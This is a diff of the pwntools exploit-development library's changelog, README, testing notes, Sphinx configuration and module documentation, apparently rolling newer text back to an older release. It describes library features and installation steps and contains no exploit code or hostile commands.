-- [#1043][1043] Do not attempt to populate the libraries used by statically-linked binaries
-
-[1043]: https://github.com/Gallopsled/pwntools/pull/1043
-
-## 3.9.1
-
-- [#1038][1038] Fix an issue with `process()` where glibc would buffer data internally, causing a hang on `select()`
-- [#1036][1036] Fix Travis CI logging verbosity
-- [#1029][1029] Fix some `unicode` issues when using the `readline` command history in `tube.interactive()`
-
-[1038]: https://github.com/Gallopsled/pwntools/pull/1038
-[1036]: https://github.com/Gallopsled/pwntools/pull/1036
-[1029]: https://github.com/Gallopsled/pwntools/pull/1029
-
-## 3.9.0
-
-- [#1003][1003] Make `concat_all` faster while also simplifying it's logic
-- [#1014][1014] Fix for overwritten env when parsing core file
-- [#1023][1023] Fixes to Travis CI
-
-[1003]: https://github.com/Gallopsled/pwntools/pull/1003
-[1014]: https://github.com/Gallopsled/pwntools/pull/1014
-[1023]: https://github.com/Gallopsled/pwntools/pull/1023
-
-## 3.8.0
-
-- [#981][981] Fixed RELRO detection logic
-- [#986][986] Enhancements to DynELF for controlling usage of LibcDB
-- A few documentation fixes
-- A few fixes for the Docker image
-
-[981]: https://github.com/Gallopsled/pwntools/pull/981
-[986]: https://github.com/Gallopsled/pwntools/pull/986
-
-## 3.7.1
-
-- [#998][998] Fix a bug where integer values could not be set in `.pwn.conf`.
-
-[998]: https://github.com/Gallopsled/pwntools/pull/998
-
-## 3.7.0
-
-- [#933][933] DynELF works better with different base addresses
-- [#952][952] A few small fixes were made to `pwn template`, and the CRC database was updated.
-- [5c72d62c][5c72d62c] Updated the CRC database
-
-[933]: https://github.com/Gallopsled/pwntools/pull/933
-[952]: https://github.com/Gallopsled/pwntools/pull/952
-[5c72d62c]: https://github.com/Gallopsled/pwntools/commit/5c72d62c
-
-## 3.6.1
-
-- [#979][979]+[1a4a1e1][1a4a1e1] Fixed [#974][974], a bug related to the terminal handling and numlock.
-- [#980][980] Fixed the `pwn template` command.
-
-[974]: https://github.com/Gallopsled/pwntools/issues/974
-[979]: https://github.com/Gallopsled/pwntools/pull/979
-[980]: https://github.com/Gallopsled/pwntools/pull/980
-[1a4a1e1]: https://github.com/Gallopsled/pwntools/commit/1a4a1e1
-
-## 3.6.0
-
-- [#895][895] Added a Dockerfile to simplify testing setup and allow testing on OSX
-- [#897][897] Fixed some incorrect AArch64 syscals
-- [#893][893] Added the `pwnlib.config` module
-    + Configuration options can now be set in `~/.pwn.conf`
-    + This replaces the old, **undocumented** mechanism for changing logging colors.  Only @br0ns and @ebeip90 were likely using this.
-    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/config.html).
-- [#899][899] Pwntools now uses Unicorn Engine to emulate PLT instructions to ensure correct mapping of PIE / RELRO binaries.
-- [#904][904] Enhancements to the accuracy of the `pwn checksec` command.
-- [#905][905] Added a `pwn debug` command-line utility which automates the process of `gdb.attach(process(...))` to spawn GDB
-    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-debug)
-- [#919][919] Added a `pwn template` command-line utility to simplify the process of bootstrapping a new exploit.
-    + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-template).
-- [#948][948] Fix unnecessary warning for Core files
-- [#954][954] Fix list processing in `~/.pwn.conf`
-- [#967][967] Respect `TERM_PROGRAM` for `run_in_new_terminal`
-- [#970][970] Fix overly-aggressive corefile caching
-
-[947]: https://github.com/Gallopsled/pwntools/pull/947
-[948]: https://github.com/Gallopsled/pwntools/pull/948
-[954]: https://github.com/Gallopsled/pwntools/pull/954
-[960]: https://github.com/Gallopsled/pwntools/pull/960
-[967]: https://github.com/Gallopsled/pwntools/pull/967
-[968]: https://github.com/Gallopsled/pwntools/pull/968
-[970]: https://github.com/Gallopsled/pwntools/pull/970
-
-[895]: https://github.com/Gallopsled/pwntools/pull/895
-[897]: https://github.com/Gallopsled/pwntools/pull/897
-[893]: https://github.com/Gallopsled/pwntools/pull/893
-[899]: https://github.com/Gallopsled/pwntools/pull/899
-[904]: https://github.com/Gallopsled/pwntools/pull/904
-[905]: https://github.com/Gallopsled/pwntools/pull/905
-[919]: https://github.com/Gallopsled/pwntools/pull/919
-
-## 3.5.1
-
-- [#945][945] Speed up ssh via caching checksec results (fixes [#944][944])
-- [#950][950] Fixes a bug where setting `context.arch` does not have an effect on `adb.compile()` output architecture
-
-[944]: https://github.com/Gallopsled/pwntools/issues/944
-[945]: https://github.com/Gallopsled/pwntools/pull/945
-[950]: https://github.com/Gallopsled/pwntools/pull/950
-
 ## 3.5.0
 
-- [b584ca3][b584ca3] Fixed an issue running `setup.py` on ARM
-- [#822][822] Enabled relative leaks with `MemLeak`
-    + This should be useful for e.g. heap-relative leaks
-- [#832][832] Changed all internal imports to use absolute imports (no functional changes)
-- [a12d0b6][a12d0b6] Move `STDOUT`, `PIPE`, `PTY` constants to globals
-    + `process(..., stdin=process.PTY)` --> `process(..., stdin=PTY)`
-- [#828][828] Use `PR_SET_PTRACER` for all `process()` and `ssh.process()` instances
-    + This simplifies debugging on systems with YAMA ptrace enabled
-- Various documentation enhancements
-    + In particular, the [gdb][gdb], [elf][elf], and [ssh][ssh] docs are much better
-- [#833][833] Performance enhancements for `adb` module
-- [d0267f3][d0267f3] `packing.fit()` now treats large offsets as cyclic patterns (e.g. `0x61616161` behaves the same as `"aaaa"`)
-- [#835][835] Added `ssh.checksec`
-    + Reports the kernel version and other relevant information on connection
-- [#857][857] Slightly shortened `execve` shellcode
-- [300f8e0][300f8e0] Slightly speed up processing of large ELF files
-- [#861][861] Adds support for extracting `IKCONFIG` configs from Linux kernel images, and extends `checksec` to report on any insecure configurations discovered
-- [#871][871] Moves all of the basic syscall templates to `shellcraft/common` and exposes them via symlinks.  Closed [#685][685]
-    + Should not have any visible effects from any documented APIs
-    + `shellcraft.arch.os.syscall_function()` still works the same
-    + We now have the ability to differentiate between the `connect` syscall, and a TCP `connect` helper
-- [#887][887] `sh_string` now returns a quoted empty string `''` rather than just an empty string
-- [#839][839] Exposes a huge amount of functionality via corefiles which was not previously availble.  See the [docs][corefile_docs] for examples.
-    + `process().corefile` will automatically instantiate a Corefile for the process
-    + QEMU-emulated processes are supported
-    + Native processes are supported, including extraction of coredumps from `apport` crash logs
-    + Native processes can be dumped *while running*, in a manner similar to `GDB`'s `gcore` script
-- [#875][857] Added [documentation][aarch64] (and tests) for AArch64 shellcode
-- [#882][882] The `ROP` class now respects `context.bytes` instead of using the hard-coded value of `4` (fixed [#879][879])
-- [#869][869] Added several fields to the `process` class (`uid`, `gid`, `suid`, `sgid`) which are recorded at execution time, based on the file permissions
-- [#868][868] Changed the way that `ssh.process()` works internally, and it now returns a more specialized class, `ssh_process`.
-    + Added `ssh_process.corefile` for fetching remote corefiles
-    + Added `ssh_process.ELF` for getting an ELF of the remote executable
-    + The `uid`, `gid`, and `suid`, and `sgid` which are recorded at execution time, based on the file permissions
-- [#865][865] Fixes `ELF.read` to support contiguous memory reads across non-contiguous file-backed segments
-- [#862][862] Adds a `symlink=` argument to `ssh.set_working_directory`, which will automatically symlink all of the files in the "old" working directory into the "new" working directory
-
-[ssh]: http://docs.pwntools.com/en/dev/tubes/ssh.html
-[gdb]: http://docs.pwntools.com/en/dev/gdb.html
-[elf]: http://docs.pwntools.com/en/dev/elf.html
-[corefile_docs]: http://docs.pwntools.com/en/dev/elf/corefile.html
-[aarch64]: http://docs.pwntools.com/en/dev/shellcraft/aarch64.html
-
-[685]: https://github.com/Gallopsled/pwntools/pull/685
-[822]: https://github.com/Gallopsled/pwntools/pull/822
-[828]: https://github.com/Gallopsled/pwntools/pull/828
-[832]: https://github.com/Gallopsled/pwntools/pull/832
-[833]: https://github.com/Gallopsled/pwntools/pull/833
-[835]: https://github.com/Gallopsled/pwntools/pull/835
-[839]: https://github.com/Gallopsled/pwntools/pull/839
-[857]: https://github.com/Gallopsled/pwntools/pull/857
-[861]: https://github.com/Gallopsled/pwntools/pull/861
-[862]: https://github.com/Gallopsled/pwntools/pull/862
-[865]: https://github.com/Gallopsled/pwntools/pull/865
-[868]: https://github.com/Gallopsled/pwntools/pull/868
-[869]: https://github.com/Gallopsled/pwntools/pull/869
-[871]: https://github.com/Gallopsled/pwntools/pull/871
-[875]: https://github.com/Gallopsled/pwntools/pull/857
-[879]: https://github.com/Gallopsled/pwntools/issues/879
-[882]: https://github.com/Gallopsled/pwntools/pull/882
-[887]: https://github.com/Gallopsled/pwntools/pull/887
-
-
-[b584ca3]: https://github.com/Gallopsled/pwntools/commit/b584ca3
-[a12d0b6]: https://github.com/Gallopsled/pwntools/commit/a12d0b6
-[d0267f3]: https://github.com/Gallopsled/pwntools/commit/d0267f3
-[300f8e0]: https://github.com/Gallopsled/pwntools/commit/300f8e0
-
-## 3.4.1
-
-- [#894][894] Fix a bug when using `gdb.debug()` over ssh.
-- [e021f57][e021f57] Fix a bug ([#891][891]) in `rop` when needing to insert padding to fix alignment
-
-[e021f57]: https://github.com/Gallopsled/pwntools/commit/e021f57
-[894]: https://github.com/Gallopsled/pwntools/pull/894
-[891]: https://github.com/Gallopsled/pwntools/issues/891
+To be released on Mar 18, 2017.
 
 ## 3.4.0
 
-- [#800][800] Add `shell=` option to `ssh.process()`
-- [#806][806] Add `context.buffer_size` for fine-tuning `tube` performance
-    + Also adds `buffer_fill_size=` argument for all tubes
-- [b83a6c7][b83a6c7] Fix undocumented `process.leak` function
-- [546061e][546061e] Modify `coredump_filter` of all spawned processes, so that core dumps are more complete
-- [#809][809] Add several functions to `adb` (`unlink`, `mkdir`, `makedirs`, `isdir`, `exists`)
-- [#817][817] Make disconnection detection more robust
-
-[800]: https://github.com/Gallopsled/pwntools/pull/800
-[806]: https://github.com/Gallopsled/pwntools/pull/806
-[809]: https://github.com/Gallopsled/pwntools/pull/809
-[817]: https://github.com/Gallopsled/pwntools/pull/817
-[5d9792f]: https://github.com/Gallopsled/pwntools/commit/5d9792f
-[b83a6c7]: https://github.com/Gallopsled/pwntools/commit/b83a6c7
-[546061e]: https://github.com/Gallopsled/pwntools/commit/546061e
-
-## 3.3.4
-
-- [#850][850] and [#846][846] fix issues with `hexdump` and the `phd` command-line utility, when using pipes (e.g. `echo foo | phd`)
-- [#852][852] Fixes register ordering in `regsort`
-- [#853][853] Fixes the registers restored in `shellcraft.amd64.popad`
-
-[846]: https://github.com/gallopsled/pwntools/pull/846
-[850]: https://github.com/gallopsled/pwntools/pull/850
-[852]: https://github.com/gallopsled/pwntools/pull/852
-[853]: https://github.com/gallopsled/pwntools/pull/853
+To be released on Feb 4, 2017.
 
 ## 3.3.3
 
@@ -622,7 +141,7 @@ Multiple bug fixes.
 - [1e414af][1e414af] Added `connect()` alias for `remote()`
     + For example, `io=connect('google.com', 80)`
     + This also works with `tcp(...)` and `udp(...)` aliases
-- [869ec42][869ec42] Added `ssh.read()` and `ssh.write()` aliases
+- [869ec42][869ec42] Added `ssh.read()` and `ssh.write()` aiases
 - [2af55c9][2af55c9] `AdbDevice` objects exposed via e.g. `adb.devices()` now offer scoped access to all `adb` module properties
     + It is now possible to e.g. `map(lambda d: d.process(['id']).recvall(), adb.devices())`
 
@@ -709,7 +228,7 @@ Android support via a new `adb` module, `context.device`, `context.adb_host`, an
 - Added `context.log_file` setting for sending logs to a file.  This can be set with the `LOG_FILE` magic command-line option.
 - Added `context.noptrace` setting for disabling actions which require `ptrace` support.  This is useful for turning all `gdb.debug` and `gdb.attach` options into no-ops, and can be set via the `NOPTRACE` magic command-line option.
 - Added `context.proxy` which hooks all connections and sends them to a SOCKS4/SOCKS5.  This can be set via the `PROXY` magic command-line option.
-- Added `context.randomize` to control randomization of settings like XOR keys and register ordering (default off).
+- Added `context.randomize` to control randommization of settings like XOR keys and register ordering (default off).
 - Added `context.terminal` for setting how to launch commands in a new terminal.
 
 #### DynELF and MemLeak Module
@@ -722,7 +241,7 @@ Android support via a new `adb` module, `context.device`, `context.adb_host`, an
 #### Encoders Module
 
 - Added a `pwnlib.encoders` module for assembled-shellcode encoders/decoders
-- Includes position-independent basic XOR encoders
+- Includes position-indepentent basic XOR encoders
 - Includes position-independent delta encoders
 - Includes non-position-independent alphanumeric encoders for Intel
 - Includes position-independent alphanumeric encoders for ARM/Thumb

MANIFEST.in

@@ -2,6 +2,6 @@ graft examples
 graft extra
 include *.md *.txt *.sh *.yml MANIFEST.in
 recursive-include docs   *.rst *.png Makefile *.py *.txt
-recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
+recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh
 recursive-include pwn    *.py *.asm *.rst *.md *.txt *.sh
 recursive-exclude *.pyc

README.md

@@ -2,13 +2,13 @@
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![PyPI](https://img.shields.io/badge/pypi-v3.3.3-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
 [![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
 
-Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
+pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
 
 ```python
 from pwn import *
@@ -32,15 +32,14 @@ To get you started, we've provided some example solutions for past CTF challenge
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
+pwntools is best supported on 64-bit Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python 2.7 is required.
 
 Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
 apt-get update
-apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
-python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
+apt-get install python2.7 python-pip python-dev git libssl-dev
+pip install --upgrade pwntools
 ```
 
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).

TESTING.md

@@ -4,6 +4,7 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
 
 ## Test Suite
 
+
 To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
 
 ```sh
@@ -13,12 +14,6 @@ pip install --upgrade --editable .
 PWNLIB_NOTERM=1 make -C docs doctest
 ```
 
-## Testing in Docker
-
-A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial.  It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
-
-See `travis/docker/README.md` for more information.
-
 ## New Tests
 
 To add a new test to an existing module, just add an inline doctest.  If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.

docs/dashbuild.py

@@ -44,7 +44,7 @@ def main(args):
 		doc2dash.__main__.main.main( \
 			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
 					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit as e:
+	except SystemExit,e:
 		pass
 
 	# Insert a link to the online version.

docs/requirements.txt

@@ -1,17 +1,16 @@
-capstone
-coveralls
-doc2dash
+sphinxcontrib-napoleon
+sphinxcontrib-autoprogram==0.1.2
 isort
-mako>=1.0.0
 paramiko>=1.15.2
-pip>=6.0.8
+mako>=1.0.0
 pyelftools>=0.2.3
-pygments>=2.0
-pypandoc
+capstone
+ropgadget>=5.3
 pyserial>=2.7
 requests>=2.5.1
-ropgadget>=5.3
-sphinx
+pip>=6.0.8
+tox>=1.8.1
+pygments>=2.0
 sphinx_rtd_theme
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram
+doc2dash
+coveralls

docs/source/about.rst

@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).
 
-For the most part, you will also only get the bits you import. You for instance would
+For the most part, you will also only get the bits you import. You for instance
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.
 

docs/source/adb.rst

@@ -1,6 +1,5 @@
 .. testsetup:: *
 
-   from pprint import pprint
    from pwn import *
    adb = pwnlib.adb
 

docs/source/asm.rst

@@ -6,7 +6,6 @@
    from pwnlib.asm import *
    from pwnlib import shellcraft
    from pwnlib.tubes.process import process
-   from pwnlib.util.fiddling import unhex
 
 
 :mod:`pwnlib.asm` --- Assembler functions
@@ -14,13 +13,3 @@
 
 .. automodule:: pwnlib.asm
    :members:
-
-Internal Functions
------------------------------------------
-
-These are only included so that their tests are run.
-
-You should never need these.
-
-.. autofunction:: pwnlib.asm.dpkg_search_for_binutils
-.. autofunction:: pwnlib.asm.print_binutils_instructions

docs/source/conf.py

@@ -12,9 +12,6 @@
 # serve to show the default.
 
 import os
-import doctest
-import signal
-import six
 import subprocess
 import sys
 
@@ -27,6 +24,8 @@ sys.path.insert(0, os.path.abspath('../..'))
 
 import pwnlib
 
+# -- General configuration -----------------------------------------------------
+
 # If your documentation needs a minimal Sphinx version, state it here.
 #needs_sphinx = '1.0'
 
@@ -45,36 +44,14 @@ extensions = [
     'sphinxcontrib.napoleon'
 ]
 
-# Disable "info" logging directly to stdout by Sphinx
-import logging
-
-class SphinxPwnlibFilter(logging.Filter):
-    def filter(self, record):
-        if record.name.startswith('pwn'):
-            return False
-        if record.name.startswith('paramiko'):
-            return False
-        return True
-
-log_filter = SphinxPwnlibFilter()
-
-for i, handler in enumerate(logging.root.handlers):
-    print("Filtering Sphinx handler", handler)
-    handler.addFilter(log_filter)
-
-# Napoleon settings
-napoleon_use_ivar = True
-napoleon_use_rtype = False
-
 doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import pwnlib, logging
+import pwnlib
 pwnlib.context.context.reset_local()
-pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
+pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
 pwnlib.context.ContextType.defaults['randomize'] = False
-pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
 pwnlib.log.install_default_handler()
 pwnlib.log.rootlogger.setLevel(1)
@@ -88,18 +65,14 @@ class stdout(object):
     def __setattr__(self, name, value):
         return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
-
-github_actions = os.environ.get('USER') == 'runner'
-travis_ci = os.environ.get('USER') == 'travis'
 '''
 
-autoclass_content = 'both'
-autodoc_member_order = 'groupwise' # 'alphabetical'
+autodoc_member_order = 'alphabetical'
 
 # Add any paths that contain templates here, relative to this directory.
 templates_path = ['_templates']
 
-doctest_test_doctest_blocks = 'true'
+doctest_test_doctest_blocks = True
 
 # The suffix of source filenames.
 source_suffix = '.rst'
@@ -258,7 +231,7 @@ latex_documents = [
 ]
 
 intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
-                       'paramiko': ('https://paramiko-docs.readthedocs.org/en/2.1/', None)}
+                       'paramiko': ('https://paramiko-docs.readthedocs.org/en/1.15/', None)}
 
 # The name of an image file (relative to this directory) to place at the top of
 # the title page.
@@ -317,13 +290,13 @@ texinfo_documents = [
 branch = release
 
 try:
-    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
+    git_branch = subprocess.check_output('git describe --tags', shell = True)
 except subprocess.CalledProcessError:
     git_branch = '-'
 
 try:
     if '-' in git_branch:
-        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
+        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
 except subprocess.CalledProcessError:
     pass
 
@@ -351,11 +324,11 @@ def linkcode_resolve(domain, info):
     else:
         filename = info['module'].replace('.', '/') + '.py'
 
-        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
+        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
             try:
                 lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
-            except (IOError, TypeError):
+                filename += '#L%d-%d' % (first, first + len(lines) - 1)
+            except IOError:
                 pass
 
     return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -374,53 +347,3 @@ if build_dash:
         html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
 
     # otherwise, readthedocs.org uses their theme by default, so no need to specify it
-
-
-# -- Customization to Sphinx autodoc generation --------------------------------------------
-import sphinx.ext.autodoc
-
-# Test hidden members (e.g. def _foo(...))
-def dont_skip_any_doctests(app, what, name, obj, skip, options):
-    return False
-
-class _DummyClass(object): pass
-
-class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
-    def check_output(self, want, got, optionflags):
-        sup = super(Py2OutputChecker, self).check_output
-        if sup(want, got, optionflags):
-            return True
-        try:
-            rly_want = pwnlib.util.safeeval.const(want)
-            if sup(repr(rly_want), got, optionflags):
-                return True
-            rly_got = pwnlib.util.safeeval.const(got)
-            if rly_want == rly_got:
-                return True
-        except ValueError:
-            pass
-        rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        if sup(rly_want, got, optionflags):
-            return True
-        rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        return sup(rly_want, got, optionflags)
-
-def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
-    if checker is None:
-        checker = Py2OutputChecker()
-    doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
-
-class EndlessLoop(Exception): pass
-def alrm_handler(sig, frame):
-    signal.alarm(180) # three minutes
-    raise EndlessLoop()
-signal.signal(signal.SIGALRM, alrm_handler)
-signal.alarm(600) # ten minutes
-
-if 'doctest' in sys.argv:
-    def setup(app):
-        app.connect('autodoc-skip-member', dont_skip_any_doctests)
-
-    if sys.version_info[:1] < (3,):
-        import sphinx.ext.doctest
-        sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init

docs/source/config.rst

@@ -1,4 +0,0 @@
-:mod:`pwnlib.config` --- Pwntools Configuration File
-====================================================
-
-.. automodule:: pwnlib.config

docs/source/context.rst

@@ -3,31 +3,13 @@
    from pwn import *
    import logging
    log = pwnlib.log.getLogger('pwnlib.context')
-   context.clear()
 
 :mod:`pwnlib.context` --- Setting runtime variables
 =====================================================
 
-Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.
+.. autodata:: pwnlib.context.context
 
-In general, exploits will start with something like:
+.. autoclass:: pwnlib.context.ContextType
+    :members:
 
-.. code-block:: python
-
-    from pwn import *
-    context.arch = 'amd64'
-
-Which sets up everything in the exploit for exploiting a 64-bit Intel binary.
-
-The recommended method is to use ``context.binary``  to automagically set all of the appropriate values.
-
-.. code-block:: python
-
-    from pwn import *
-    context.binary = './challenge-binary'
-
-Module Members
-----------------------------------------------------
-
-.. automodule:: pwnlib.context
-   :members:
+.. autoclass:: pwnlib.context.Thread

docs/source/elf.rst

@@ -3,16 +3,8 @@
    from pwnlib.elf import *
    from pwnlib.util.misc import which
 
-:mod:`pwnlib.elf` --- ELF Executables and Libraries
-===================================================
+:mod:`pwnlib.elf` --- Working with ELF binaries
+===============================================
 
 .. automodule:: pwnlib.elf
-
-
-ELF Modules
--------------------
-
-.. toctree::
-    elf/elf
-    elf/config
-    elf/corefile
+   :members:

docs/source/elf/config.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   from pwnlib.elf.config import parse_kconfig
-
-:mod:`pwnlib.elf.config` --- Kernel Config Parsing
-===========================================================
-
-.. automodule:: pwnlib.elf.config
-  :members:

docs/source/elf/corefile.rst

@@ -1,16 +0,0 @@
-.. testsetup:: *
-
-   from glob import glob
-   from pwn import *
-
-:mod:`pwnlib.elf.corefile` --- Core Files
-===========================================================
-
-.. automodule:: pwnlib.elf.corefile
-
-  .. autoclass:: pwnlib.elf.corefile.Corefile
-     :members:
-     :show-inheritance:
-
-  .. autoclass:: pwnlib.elf.corefile.Mapping
-     :members:

docs/source/elf/elf.rst

@@ -1,29 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   from glob import glob
-   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
-
-:mod:`pwnlib.elf.elf` --- ELF Files
-===========================================================
-
-.. automodule:: pwnlib.elf.elf
-
-  .. autoclass:: pwnlib.elf.elf.ELF
-     :members:
-     :show-inheritance:
-     :inherited-members:
-     :exclude-members: address_offsets,
-                       get_data,
-                       get_dwarf_info,
-                       get_section,
-                       get_segment,
-                       has_dwarf_info,
-                       iter_sections,
-                       iter_segments
-
-  .. autoclass:: pwnlib.elf.elf.Function
-     :members:
-
-  .. autoclass:: pwnlib.elf.elf.dotdict
-     :members:

docs/source/encoders.rst

@@ -5,20 +5,21 @@
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
+.. automodule:: pwnlib.encoders
+   :members:
+
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
+
+.. automodule:: pwnlib.encoders.amd64
+   :members:
+
+.. automodule:: pwnlib.encoders.arm
+   :members:
+
+.. automodule:: pwnlib.encoders.i386
+   :members:
+
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
-
-.. automodule:: pwnlib.encoders.i386.delta
-   :members:
-
-.. automodule:: pwnlib.encoders.amd64.delta
-   :members:
-
-.. automodule:: pwnlib.encoders.arm.xor
-   :members:
-
-.. automodule:: pwnlib.encoders.mips.xor
-   :members:

docs/source/filepointer.rst

@@ -1,9 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.filepointer import *
-
-:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
-============================================================
-
-.. automodule:: pwnlib.filepointer
-   :members:

docs/source/gdb.rst

@@ -1,9 +1,3 @@
-.. testsetup:: *
-
-    from pwn import *
-    context.arch = 'amd64'
-    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
-
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================
 

docs/source/globals.rst

@@ -13,11 +13,11 @@ Which imports a bazillion things into the global namespace to make your life eas
 
 This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
 
-- :mod:`pwnlib.context`
+- ``context``
     - :data:`pwnlib.context.context`
     - Responsible for most of the pwntools convenience settings
     - Set `context.log_level = 'debug'` when troubleshooting your exploit
-    - Scope-aware, so you can disable logging for a subsection of code via :meth:`.ContextType.local`
+    - Scope-aware, so you can disable logging for a subsection of code via ``pwnlib.context.ContextType.local``
 - ``remote``, ``listen``, ``ssh``, ``process``
     - :mod:`pwnlib.tubes`
     - Super convenient wrappers around all of the common functionality for CTF challenges
@@ -57,11 +57,11 @@ This is a quick list of most of the objects and routines imported, in rough orde
 - ``gdb.debug`` and ``gdb.attach``
     - :mod:`pwnlib.gdb`
     - Launch a binary under GDB and pop up a new terminal to interact with it.  Automates setting breakpoints and makes iteration on exploits MUCH faster.
-    - Alternately, attach to a running process given a PID, :mod:`pwnlib.tubes` object, or even just a socket that's connected to it
+    - Alternately, attach to a running process given a PID, ``pwnlib.tubes`` object, or even just a socket that's connected to it
 - ``args``
-    - Dictionary containing all-caps command-line arguments for quick access
+    - Dictionary contining all-caps command-line arguments for quick access
     - Run via ``python foo.py REMOTE=1`` and ``args['REMOTE'] == '1'``.
-    - Can also control logging verbosity and terminal fanciness
+    - Can also control logging verbosity and terminal fancyness
         - `NOTERM`
         - `SILENT`
         - `DEBUG`
@@ -78,7 +78,7 @@ This is a quick list of most of the objects and routines imported, in rough orde
     - It's the new ``getch``
 - ``safeeval``
     - :mod:`pwnlib.util.safeeval`
-    - Functions for safely evaluating python code without nasty side-effects.
+    - Functions for safely evalutaing python code without nasty side-effects.
 
 These are all pretty self explanatory, but are useful to have in the global namespace.
 

docs/source/index.rst

@@ -48,21 +48,16 @@ Each of the ``pwntools`` modules is documented here.
    atexception
    atexit
    constants
-   config
    context
    dynelf
    encoders
    elf
    exception
-   filepointer
    flag
    fmtstr
    gdb
-   libcdb
    log
    memleak
-   protocols
-   qemu
    replacements
    rop
    rop/*

docs/source/install.rst

@@ -24,10 +24,8 @@ pwntools is available as a ``pip`` package.
 
 .. code-block:: bash
 
-    $ apt-get update
-    $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
-    $ python3 -m pip install --upgrade pip
-    $ python3 -m pip install --upgrade pwntools
+    $ apt-get install python2.7 python2.7-dev python-pip
+    $ pip install --upgrade pwntools
 
 Development
 --------------

docs/source/install/binutils.rst

@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
